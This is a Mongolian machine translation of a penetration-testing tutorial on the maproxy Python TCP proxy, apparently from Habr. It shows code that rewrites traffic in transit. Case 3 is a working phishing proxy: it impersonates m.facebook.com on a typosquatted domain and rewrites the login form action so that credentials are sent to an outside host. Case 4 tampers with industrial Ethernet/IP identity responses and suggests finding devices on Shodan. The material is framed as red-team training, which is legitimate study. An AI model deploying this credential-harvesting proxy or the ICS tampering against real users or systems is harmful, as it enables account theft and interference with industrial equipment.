Сүлжээний өгөгдлийг шууд боловсруулах

Нийтлэлийн орчуулгыг курс эхлэхийн өмнөх өдөр бэлтгэсэн “Пентест. нэвтрэлтийн туршилтын практик".

Сүлжээний өгөгдлийг шууд боловсруулах

тэмдэглэгээ

Тогтмол нэвтрэлтийн туршилт, Улаан багийн үйл ажиллагаанаас эхлээд IoT/ICS төхөөрөмжүүд болон SCADA-г хакердах зэрэг олон төрлийн аюулгүй байдлын үнэлгээ нь хоёртын сүлжээний протоколуудтай ажиллах, өөрөөр хэлбэл үйлчлүүлэгч болон зорилтот хоорондын сүлжээний өгөгдлийг таслан зогсоох, өөрчлөх зэрэг орно. Бидэнд Wireshark, Tcpdump эсвэл Scapy зэрэг хэрэгслүүд байгаа тул сүлжээний траффикийг үнэрлэх нь тийм ч хэцүү ажил биш боловч сүлжээний өгөгдлийг унших, шүүх, өөрчлөхийн тулд ямар нэгэн интерфэйстэй байх шаардлагатай тул өөрчлөх нь илүү их хөдөлмөр шаардсан ажил юм шиг санагдаж байна. Үүнийг шууд хийж, зорилтот хост руу бараг бодит цаг хугацаанд илгээнэ үү. Нэмж дурдахад, ийм хэрэгсэл нь олон зэрэгцээ холболттой автоматаар ажиллаж, скрипт ашиглан тохируулах боломжтой байвал тохиромжтой байх болно.

Нэг өдөр би нэг хэрэгсэл олж мэдэв maproxy, баримт бичиг надад үүнийг хурдан ойлгуулсан maproxy - надад хэрэгтэй зүйл. Энэ бол нэлээд энгийн, олон талт, хялбар тохируулах боломжтой TCP прокси юм. Би энэ хэрэгслийг ICS төхөөрөмжүүд (маш олон пакет үүсгэдэг) зэрэг нэлээд төвөгтэй програмууд дээр туршиж үзсэн бөгөөд энэ нь олон зэрэгцээ холболтыг зохицуулж чадах эсэхийг шалгахын тулд хэрэгсэл нь сайн ажилласан.

Энэ нийтлэл нь сүлжээний өгөгдлийг шууд ашиглан хэрхэн боловсруулах талаар танд танилцуулах болно maproxy.

тойм

Хэрэгсэл maproxy нь Python-д алдартай, боловсорч гүйцсэн асинхрон сүлжээний хүрээ болох Tornado дээр суурилдаг.

Ерөнхийдөө энэ нь хэд хэдэн горимд ажиллах боломжтой:

  • TCP:TCP – шифрлэгдээгүй TCP холболтууд;
  • TCP:SSL и SSL:TCP - нэг талын шифрлэлттэй;
  • SSL:SSL - хоёр талын шифрлэлт.

Энэ нь номын сан хэлбэрээр ирдэг. Хурдан эхлүүлэхийн тулд та үндсэн зүйлийг тусгасан жишээ файлуудыг ашиглаж болно номын сангийн функцууд:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Тохиолдол 1 – энгийн хоёр чиглэлтэй прокси

Үндэслэн tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

анхдагчаар ProxyServer() Холболтын байршил ба зорилтот порт гэсэн хоёр аргумент авдаг. server.listen() нэг аргумент авдаг - ирж буй холболтыг сонсох порт.

Скриптийг гүйцэтгэж байна:

# python tcp2tcp.py

Туршилтыг явуулахын тулд бид прокси скриптээр дамжуулан локал SSH сервертэй холбогдох болно. 2222/tcp порт ба стандарт порт руу холбогдоно 22/tcp SSH серверүүд:

Сүлжээний өгөгдлийг шууд боловсруулах

Тавтай морилно уу баннер нь манай жишээ скрипт сүлжээний траффикийг амжилттай прокси хийсэн болохыг танд мэдэгдэнэ.

Тохиолдол 2 – өгөгдлийн өөрчлөлт

Өөр нэг демо скрипт logging_proxy.py сүлжээний өгөгдөлтэй харилцахад тохиромжтой. Файл дахь тайлбарууд нь зорилгодоо хүрэхийн тулд өөрчилж болох ангийн аргуудыг тайлбарласан болно:

Сүлжээний өгөгдлийг шууд боловсруулах

Хамгийн сонирхолтой нь энд байна:

  • on_c2p_done_read – Үйлчлүүлэгчээс сервер хүртэлх замд өгөгдлийг таслан зогсоох;
  • on_p2s_done_read - урвуу.

Серверээс үйлчлүүлэгч рүү буцаадаг SSH баннерыг өөрчлөхийг оролдъё:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Скриптийг ажиллуулна уу:

Сүлжээний өгөгдлийг шууд боловсруулах

Таны харж байгаагаар SSH серверийн нэрийг өөрчилсөн тул үйлчлүүлэгч төөрөгдүүлсэн байна «DumnySSH».

Сүлжээний өгөгдлийг шууд боловсруулах

Тохиолдол 3 – энгийн фишинг вэб хуудас

Энэ хэрэгслийг ашиглах төгсгөлгүй олон арга бий. Энэ удаад Улаан багийн үйл ажиллагааны талаас илүү практик зүйл дээр анхаарлаа хандуулцгаая. Буух хуудсыг дуурайцгаая m.facebook.com санаатай үсгийн алдаатай захиалгат домэйн ашиглах, жишээлбэл, m.facebok.com. Үзүүлэн харуулахын тулд домэйныг бид бүртгүүлсэн гэж бодъё.

Бид хохирогчдын прокси болон SSL Stream-тай Facebook серверт шифрлэгдээгүй сүлжээний холболтыг бий болгох гэж байна (31.13.81.36). Энэ жишээг ажиллуулахын тулд бид HTTP хостын толгой хэсгийг сольж, зөв ​​хостын нэрийг оруулах шаардлагатай ба хариу шахалтыг идэвхгүй болгож, контент руу хялбархан хандах боломжтой болно. Эцэст нь бид HTML маягтыг солих бөгөөд ингэснээр Facebook-ийн серверийн оронд нэвтрэх мэдээллийг бидэнд илгээнэ.

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/mn/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Эцэст нь:

Сүлжээний өгөгдлийг шууд боловсруулах

Таны харж байгаагаар бид анхны сайтыг амжилттай сольж чадсан.

Тохиолдол 4 – Ethernet/IP порт хийх

Би программчлагдах хянагч (PLC), оролт/гаралтын модулиуд, хөтчүүд, реле, шат програмчлалын орчин гэх мэт үйлдвэрлэлийн төхөөрөмж, программ хангамж (ICS/SCADA)-тай нэлээд удаан ажиллаж байна. Энэ тохиолдол нь үйлдвэрлэлийн зүйлд дуртай хүмүүст зориулагдсан юм. Ийм шийдлүүдийг хакердах нь сүлжээний протоколуудтай идэвхтэй тоглох явдал юм. Дараах жишээнд би ICS/SCADA сүлжээний урсгалыг хэрхэн өөрчлөхийг харуулахыг хүсч байна.

Үүний тулд танд дараахь зүйл хэрэгтэй болно.

  • Сүлжээний үнэрлэгч, жишээлбэл, Wireshark;
  • Ethernet/IP эсвэл зүгээр л SIP төхөөрөмж бол та Shodan үйлчилгээг ашиглан олох боломжтой;
  • Манай скрипт дээр үндэслэсэн болно maproxy.

Нэгдүгээрт, CIP (Үйлдвэрийн нийтлэг протокол)-ийн ердийн таних хариу ямар байхыг харцгаая.

Сүлжээний өгөгдлийг шууд боловсруулах

Төхөөрөмжийг таних нь CIP зэрэг хяналтын протоколуудыг багтаасан үйлдвэрлэлийн Ethernet протоколын сайжруулсан хувилбар болох Ethernet/IP протоколыг ашиглан хийгддэг. Бид дэлгэцийн агшинд харагдах тодруулсан ID нэрийг өөрчлөх гэж байна "Ethernet-д зориулсан NI-IndComm" Манай прокси скриптийг ашиглан. Бид скриптийг дахин ашиглаж болно logging_proxy.py мөн адил ангийн аргыг өөрчлөх on_p2s_done_read, учир нь бид үйлчлүүлэгч дээр өөр таних нэр харагдахыг хүсэж байна.

Кодыг:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Үндсэндээ бид төхөөрөмжийн танихыг хоёр удаа хүссэн, хоёр дахь хариулт нь анхных байсан бөгөөд эхнийх нь шууд өөрчлөгдсөн.

Эцэст нь

Миний бодлоор maproxy Энэ нь Python хэл дээр бичигдсэн тохиромжтой бөгөөд энгийн хэрэгсэл тул та ч гэсэн үүнийг ашиглах нь ашиг тустай гэдэгт би итгэж байна. Мэдээжийн хэрэг, сүлжээний өгөгдлийг боловсруулах, өөрчлөх илүү төвөгтэй хэрэгслүүд байдаг, гэхдээ тэдгээр нь бас илүү анхаарал шаарддаг бөгөөд ихэвчлэн тодорхой хэрэглээний тохиолдолд бүтээгдсэн байдаг. Мураена, Модлишка буюу evilginx гурав дахьтэй төстэй тохиолдлуудад, эсвэл буйдан сүүлчийн тохиолдолд. Нэг арга замаар, тусламжтай maproxy Жишээ скриптүүд нь маш ойлгомжтой тул та сүлжээний өгөгдлийг таслах санаагаа хурдан хэрэгжүүлэх боломжтой.

Windows AD дээрх баталгаажуулалтын механизмыг турших

Эх сурвалж: www.habr.com

сэтгэгдэл нэмэх